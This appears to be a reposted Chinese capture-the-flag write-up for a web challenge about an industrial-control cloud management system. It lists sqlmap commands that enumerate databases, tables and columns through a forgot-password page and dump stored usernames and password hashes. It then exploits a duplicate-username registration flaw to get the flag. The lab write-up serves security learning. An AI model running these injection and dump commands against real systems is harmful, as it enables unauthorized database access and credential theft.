1.根据实验的提示，工控云管理系统新添加的登录和注册页面存在漏洞，请找出flag。
看到登录和注册就先试一试sql注入，手工试了半天没什么用，然后想用sqlmap看能不能注入：
python sqlmap.py -u "http://111.198.29.45:56964/login.php" --data "username=123&password=123" --dbs
这里没有注入点，也猜到了出题人不可能这么容易让我们拿到flag，，，
然后我发现这里有个忘记密码，那就点点看了：
这里貌似有SQL注入，那就再用sqlmap跑一下。
python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" --dbs
python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 --tables 得到user表
python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 -T user --columns
python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 -T user -C "username,password" --dump
得到一个我没有注册过的账号，猜测这个应该和flag有关，这个password应该是md5加密过的，试了没能解密成功，但这里不要紧，利用这里的
同一个用户名可以重复注册的漏洞，去注册一个新的账号，然后登录获得flag。
原文：https://www.cnblogs.com/darklee/p/12632136.html